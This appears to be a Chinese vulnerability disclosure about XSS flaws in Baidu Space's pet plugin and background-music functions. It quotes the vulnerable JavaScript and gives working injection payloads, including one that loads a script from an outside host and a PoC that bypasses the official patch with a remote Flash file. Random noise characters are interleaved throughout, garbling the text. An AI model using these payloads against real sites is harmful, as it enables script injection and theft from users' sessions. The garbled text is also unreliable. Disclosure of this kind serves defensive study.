百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 2 L# }- s" m, ?: Y& D8 f
% F) G% F% V) q+ L) k. ^( Z
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. % U5 F! `% ]# F4 a( B- v, f( j
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 % y4 G' ~: Q+ D `+ c9 Y7 h
3 t; i0 d" _- v8 r将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
& m+ [% |: V1 r. s" b% y* i( ?6 _其中BdUtil.insertWBR为
0 D9 @ U$ D4 F& Ufunction(text, step) {
( U# z' Y$ |7 l9 E ?+ j% i var textarea = textAreaCache || getContainer();
3 M$ P& Q* [1 ]. W- s if (!textarea) {
" J2 b( j* Q4 s% l, M return text; ' a, b; J+ q7 m4 Y( f* V" ?
} - |: a/ ^$ J" K% W
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
$ s& d% Y# B7 i* U7 \ var string = textarea.value;
, ~8 O' s; c! X% o var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 5 N! O2 E: z4 M0 r7 a! p8 w
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
) Z4 A9 I4 |& Z4 {4 o$ g" x return result; - c# n) @4 I% W
}
[# Y+ _' D; P: `( ~4 u$ z) t5 j在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 5 }1 w. F6 I: G1 G9 F" o2 O `& E- e
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
8 K" H+ \( ~! ~) d3 X6 N
4 q) V3 e: M1 f' w3 ?二:creatbgmusic() Dom-Xss Bug + e/ _3 c8 R: i3 O1 Q# n9 O, t- k
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
2 N$ p8 W* {+ n4 V9 } v* |/ ^
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: : r# }; h8 P+ I7 [' ^! i1 u& e1 a
4 ?* a* ?8 X( E% m: J/ P: A4 _8 I
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { : w* n$ }) L, R' j6 @: l2 _8 z
//传入的murl赋值到bgmusic1和bgmusic2中 - O: T" ^" r+ d) I' i
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 9 Q9 v y* ^. r- m+ V/ R
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
9 a& c/ w; v" `6 @ |6 l if (musicnum <= 1) {
R8 \. C7 r# u- n/ Z6 { bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ! o3 H6 l8 {+ ~' \
}
$ D1 b5 S. O0 H- F7 |( S bgmusic1 += "</OBJECT>"; : q( {' m- n; O
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 6 J) e$ |3 p9 C
if (musicnum <= 1) { . }, L- |* \7 i6 s
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 5 ]. ~- w- {+ J
} 0 s2 ?' N- N; P! T# z5 u
bgmusic2 += "> </EMBED>"; ; c j. Q6 e' C" I7 e0 d- k6 R& I
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
; a8 H7 Q" \, l% h8 u5 _ var bgmus = detectWMP();
+ T# F; ?% c5 Z' t3 U3 W3 ? if (functype == "FckMusicHelper") {
" H! `- B% ?% `& m; M! C if (bgmus.installed) { 2 d. ^) ?% s% x* L$ g0 {' g
if (bgmus.type == "IE") { 5 N+ a8 y5 \+ ]5 B1 E8 C* r: e5 p
return bgmusic1; 4 s+ Q7 Z' I- }9 I; M
} else if (bgmus.type == "NS") { 1 Z8 {, Q" e9 s3 g a c# U
return bgmusic2;
. N$ U' S+ @" W$ U8 k* O }
/ H( A5 s r+ p# K& c! P } else {
2 z" v4 m; ~) Y! Q) @- Z return bgmusic3; 5 R; C0 e: h9 R0 _
}
\, a$ R2 p: ~3 p( t' M* j O7 [+ o% p } else {
$ X1 N- m$ u0 ^% ^/ n3 }( {9 H! E9 f if (bgmus.installed) {
/ ]5 O* s2 |( G$ z' h/ o" k2 ]3 c8 x //document.write 直接输出bgmusic变量 导致xss & b5 X5 N" E7 }' J- @( x
if (bgmus.type == "IE") { ( k& P* J) I# W( v
document.write(bgmusic1);
8 @- q2 t( b9 J: n } else if (bgmus.type == "NS") {
% ], J" `; n5 X2 F3 w) ~ document.write(bgmusic2); % L# }0 e2 W9 c; e7 H' M
} % ^8 w" B, J+ m; \
} else { 2 ~) l3 B" k0 z( K( t: l: a4 q9 V- E
document.write(bgmusic3);
& E$ v3 i' O# V% _ }
5 ~2 l& D( Q9 n- n+ c8 { X return "";
! t- H- D. o- @# X- q, G6 D' ` } ' D9 U$ }' h& j9 D
} 1 Q8 F' T, l" y' X& T; X
$ E; ~) p, h2 \/ z$ H! ^! L在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: . E4 E5 s4 j# O/ g2 I: D6 r
( ]3 f5 k. x P7 m. K( \function initBlogTextForFCK(){ ) w) c! K" l: C
//fck init music 1 `4 W, @5 G, ^* @; F4 L5 y3 d% y3 u
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 2 n E' S! w& E3 t3 q; F Y# p
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
" d, j( v& n9 i F" H8 zvar isAutoPlay=true;
: u2 p2 O. P y* K [3 [2 |4 Y2 afor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 5 y1 [* a) k# m1 E
var img=imgBox;
/ I+ p3 R, I" \/ t$ S" k if(img.getAttribute(’rel’)){
5 g8 r, k9 G) f# k7 K var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc z* ]# j7 K7 C3 Q5 q, |
var musicDiv = document.createElement("SPAN");
1 o5 ~! X) `: s4 f# G var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
) l2 j7 Z0 W6 K, o8 M: G1 p$ }
3 u; @# M5 ?; K- L0 ^* m; n) V .......................... % v+ n. x* q- _" M+ ~6 D. p
- E9 p( h% r5 |3 p //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
4 `9 l) U, q4 }1 I' N9 Y" ~ c var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
8 W5 r% Y. H5 |+ } shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
1 a! B7 F2 w4 M2 h- C8 A q musicDiv.innerHTML=shtml;
! F7 v% j; N" } i--;n--;
# n# i9 K6 p6 K9 ?9 l: T. w }
5 M2 c& [3 I( n5 z" c, `: i3 o} 6 C" M7 f* _- ~) }- w1 L
# j7 P# d3 G3 p, u1 q! f从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. * D& y" J) A: H$ N# c* b
- P" d( T! A& ~9 P$ b7 S' F. z
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
2 Z( j @- H2 A# _3 [. x
, i2 ?) |- P' x. w n等待官方补丁
& s& r& R+ l$ q+ a! x6 h) W
E" k; a+ `1 E) ?1 @, ?. lupdate 2010年5月13日
+ b, x+ S0 Q) i1 K2 e3 r
+ B: y# S6 ^+ ?0 ]3 R# ]官方补丁: & Y1 q: q2 Y1 w: C0 S, R* m
/ K @2 w, W2 w* o- A7 P% Q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 8 n- P1 f- D [# j8 A9 D9 g
改为:
' m$ E7 t1 [4 Q- vvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 1 Q1 |/ `' A5 J( u
2 ^2 Q) B1 P+ c( J( p ]7 Lupdate 2010年5月13日 21:50:37
Q* A1 F# h( }( c: b6 W
/ Z6 D0 C+ f: _7 T% Y1 P1 I* Q B补丁存在漏洞 没有过滤" 可以继续跨: . @1 M# E7 F/ Q! m/ h( y
6 v1 |6 v$ x8 {$ m* nNEW POC:
6 R. a/ [" X# d2 J* A+ F& k0 ]$ [% o' ]+ r
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
6 h% u) c, w' _6 F6 Y9 s* W
6 b# Q/ V: S- Q" |9 K# Eallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
! ~/ U4 \5 b% ` 9 `% G' P- E! m; R5 R$ C+ F& k) e, d: c
|